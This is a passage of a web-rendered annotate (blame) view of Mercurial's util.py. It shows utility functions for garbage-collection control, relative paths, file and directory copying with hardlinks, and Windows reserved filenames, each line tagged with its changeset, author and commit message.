diff
changeset
|
1473 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1474 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1475 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1476 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1477 """ |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1478 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1479 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1480 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1481 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1482 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1483 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1484 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1485 gc.enable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1486 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1487 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1488 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1489 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1490 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1491 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1492 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1493 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1494 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1495 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1496 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1497 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1498 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1499 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1500 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1501 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1502 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1503 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1504 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1505 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1506 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1507 return os.path.join(root, localpath(n2)) |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1508 n2 = '/'.join((pconvert(root), n2)) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1509 a, b = splitpath(n1), n2.split('/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1510 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1511 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1512 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1513 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1514 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1515 b.reverse() |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1516 return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1517 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1518 # the location of data files matching the source code |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
1519 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1520 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1521 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1522 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1523 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1524 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1525 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1526 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1527 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1528 '''wrap a function with code to check for calling errors''' |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1529 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1530 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1531 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1532 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1533 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1534 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1535 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1536 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1537 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1538 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1539 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1540 _hardlinkfswhitelist = { |
37382
de9f9f888900
util: whitelist apfs for hardlink support
Augie Fackler <augie@google.com>
parents:
37366
diff
changeset
|
1541 'apfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1542 'btrfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1543 'ext2', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1544 'ext3', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1545 'ext4', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1546 'hfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1547 'jfs', |
35511
d8f408d999f9
util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents:
35509
diff
changeset
|
1548 'NTFS', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1549 'reiserfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1550 'tmpfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1551 'ufs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1552 'xfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1553 'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1554 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1555 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1556 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1557 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1558 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1559 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1560 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1561 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1562 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1563 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1564 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1565 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1566 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1567 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1568 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1569 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1570 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1571 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1572 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1573 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1574 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1575 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1576 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1577 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1578 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1579 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1580 hardlink = False |
31577 | 1581 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1582 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1583 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1584 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1585 except (IOError, OSError): |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1586 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1587 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1588 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1589 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1590 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1591 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1592 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1593 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1594 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1595 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1596 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1597 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1598 shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1599 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1600 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1601 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1602 # stat of copied file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1603 advanced = ( |
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1604 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1605 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1606 except shutil.Error as inst: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
1607 raise error.Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1608 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1609 def copyfiles(src, dst, hardlink=None, progress=None): |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1610 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1611 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1612 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1613 def settopic(): |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1614 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1615 progress.topic = _('linking') if hardlink else _('copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1616 |
1207 | 1617 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1618 if hardlink is None: |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1619 hardlink = (os.stat(src).st_dev == |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1620 os.stat(os.path.dirname(dst)).st_dev) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1621 settopic() |
1207 | 1622 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1623 for name, kind in listdir(src): |
1207 | 1624 srcname = os.path.join(src, name) |
1625 dstname = os.path.join(dst, name) | |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1626 hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1627 num += n |
1207 | 1628 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1629 if hardlink is None: |
31720
dea2a17cbfd0
hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents:
31719
diff
changeset
|
1630 hardlink = (os.stat(os.path.dirname(src)).st_dev == |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1631 os.stat(os.path.dirname(dst)).st_dev) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1632 settopic() |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1633 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1634 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1635 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1636 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1637 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1638 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1639 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1640 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1641 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1642 num += 1 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1643 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1644 progress.increment() |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1645 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1646 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1647 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1648 _winreservednames = { |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1649 'con', 'prn', 'aux', 'nul', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1650 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1651 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1652 } |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1653 _winreservedchars = ':*?"<>|' |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1654 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1655 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1656 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1657 |
34131
